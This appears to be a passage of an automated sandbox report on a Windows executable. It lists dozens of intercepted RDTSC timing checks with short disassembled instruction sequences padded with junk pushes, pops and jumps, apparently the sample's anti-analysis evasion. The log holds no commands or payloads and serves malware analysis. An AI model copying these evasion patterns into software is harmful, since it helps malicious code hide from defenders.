Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E18DE second address: 3E1900 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F06147E6000h 0x00000009 popad 0x0000000a push ebx 0x0000000b jns 00007F06147E5FF6h 0x00000011 pop ebx 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E1900 second address: 3E1904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E1A72 second address: 3E1A76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E1C30 second address: 3E1C34 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E1D6C second address: 3E1D95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 jmp 00007F06147E6002h 0x0000000b jmp 00007F06147E6000h 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E1D95 second address: 3E1D9C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E2071 second address: 3E2075 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E21C8 second address: 3E21CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E0ED3 second address: 3E0ED7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E0ED7 second address: 3E0F25 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F061450AC38h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pushad 0x0000000d jc 00007F061450AC2Ch 0x00000013 jns 00007F061450AC26h 0x00000019 jmp 00007F061450AC2Eh 0x0000001e push eax 0x0000001f push edx 0x00000020 jns 00007F061450AC26h 0x00000026 jmp 00007F061450AC2Ch 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E4390 second address: 3E43AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jl 00007F06147E6014h 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F06147E5FFAh 0x00000012 ja 00007F06147E5FF6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E43AD second address: 3E43B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 36469B second address: 3646A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 js 00007F06147E5FF6h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E8E1F second address: 3E8E54 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F061450AC34h 0x00000008 jns 00007F061450AC26h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F061450AC33h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E8E54 second address: 3E8E61 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F06147E5FF8h 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A8425 second address: 3A8452 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jmp 00007F061450AC34h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F061450AC2Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A8583 second address: 3A8587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A8587 second address: 3A859E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A86C9 second address: 3A86CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A86CD second address: 3A86F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b jc 00007F061450AC34h 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A86F0 second address: 3A86F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A8E90 second address: 3A8EC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov dword ptr [esp], eax 0x00000009 mov ch, bh 0x0000000b push 0000001Eh 0x0000000d mov edi, dword ptr [ebp+122D36ECh] 0x00000013 nop 0x00000014 jmp 00007F061450AC32h 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d jmp 00007F061450AC2Ch 0x00000022 pushad 0x00000023 popad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A8901 second address: 3A8905 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A8905 second address: 3A8909 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 357233 second address: 357242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F06147E5FF6h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E7F69 second address: 3E7F77 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F061450AC26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E7F77 second address: 3E7F93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F06147E6008h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E7F93 second address: 3E7F9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E7F9D second address: 3E7FBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F06147E5FFBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F06147E5FFAh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3E7FBC second address: 3E7FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EBAAC second address: 3EBAB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F06147E5FF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EBAB6 second address: 3EBACF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007F061450AC2Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EE65A second address: 3EE65E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EE65E second address: 3EE679 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC35h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EE679 second address: 3EE6A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6002h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a js 00007F06147E5FFCh 0x00000010 jo 00007F06147E5FF6h 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EE6A0 second address: 3EE6A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EE6A4 second address: 3EE6A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3EE6A8 second address: 3EE6B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F061450AC26h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 35DC55 second address: 35DC76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jne 00007F06147E5FF6h 0x0000000d jmp 00007F06147E6004h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F2C4E second address: 3F2C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F2C5F second address: 3F2C68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F2C68 second address: 3F2C6E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F2C6E second address: 3F2C74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F2C74 second address: 3F2C78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F2C78 second address: 3F2C7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F2DCD second address: 3F2DF5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F061450AC39h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F30E3 second address: 3F30E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F30E7 second address: 3F3124 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F061450AC3Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F061450AC36h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F3124 second address: 3F3128 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F82C6 second address: 3F82E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F061450AC38h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F8425 second address: 3F8446 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jmp 00007F06147E6006h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3F8446 second address: 3F8453 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jc 00007F061450AC2Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3A8D20 second address: 3A8D24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3FD6CB second address: 3FD6D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3FD6D0 second address: 3FD6E0 instructions: 0x00000000 rdtsc 0x00000002 je 00007F06147E6002h 0x00000008 jp 00007F06147E5FF6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3FD6E0 second address: 3FD6E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3FCE06 second address: 3FCE0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 3FD0DE second address: 3FD0E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40365F second address: 403663 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 403663 second address: 403683 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F061450AC32h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jnl 00007F061450AC2Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 403683 second address: 403694 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007F06147E5FF6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 403694 second address: 4036B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC34h 0x00000007 js 00007F061450AC26h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4036B2 second address: 4036C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F06147E5FFCh 0x00000009 ja 00007F06147E5FF6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 403998 second address: 40399E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40399E second address: 4039A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40425B second address: 404264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 404264 second address: 404275 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F06147E5FF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 404A75 second address: 404A8B instructions: 0x00000000 rdtsc 0x00000002 jne 00007F061450AC2Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F061450AC26h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 404FC1 second address: 404FC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 404FC7 second address: 404FE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 jmp 00007F061450AC2Bh 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F061450AC2Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40E8DF second address: 40E8EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jnc 00007F06147E5FF6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40ED05 second address: 40ED3F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F061450AC3Dh 0x00000008 jmp 00007F061450AC37h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ebx 0x00000011 jne 00007F061450AC26h 0x00000017 jmp 00007F061450AC2Ch 0x0000001c pop ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40ED3F second address: 40ED4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F06147E5FFBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40ED4E second address: 40ED52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40F050 second address: 40F05A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40F1D0 second address: 40F1D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40F1D6 second address: 40F1DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40F1DF second address: 40F1E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40F1E5 second address: 40F1E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40F1E9 second address: 40F211 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F061450AC36h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F061450AC2Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 40F211 second address: 40F215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 417AAE second address: 417AC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F061450AC37h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 415DCD second address: 415DF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F06147E5FFAh 0x00000009 popad 0x0000000a pushad 0x0000000b jnc 00007F06147E5FF6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 jmp 00007F06147E5FFEh 0x00000018 popad 0x00000019 push ecx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 415DF7 second address: 415E33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F061450AC26h 0x0000000a pop ecx 0x0000000b jmp 00007F061450AC37h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push edi 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 push ebx 0x00000017 pop ebx 0x00000018 pop edi 0x00000019 jmp 00007F061450AC31h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 415E33 second address: 415E38 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 415E38 second address: 415E3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 416486 second address: 41648A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 41648A second address: 4164A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC38h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 41686B second address: 41687E instructions: 0x00000000 rdtsc 0x00000002 jg 00007F06147E5FFAh 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 416B40 second address: 416B49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 416B49 second address: 416B4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 416B4F second address: 416B71 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F061450AC26h 0x00000008 jmp 00007F061450AC38h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 416B71 second address: 416B9F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F06147E6007h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e jmp 00007F06147E5FFEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42F0C9 second address: 42F110 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F061450AC2Dh 0x00000007 jmp 00007F061450AC33h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F061450AC2Fh 0x00000014 jmp 00007F061450AC31h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42F246 second address: 42F24A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 42F24A second address: 42F26C instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F061450AC26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F061450AC38h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 430BC7 second address: 430BCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 430BCD second address: 430BD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 434609 second address: 43460D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 4341EB second address: 4341EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 447313 second address: 447319 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe RDTSC instruction interceptor: First address: 447319 second address: 44732D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F061450AC30h 0x00000009 rdtsc
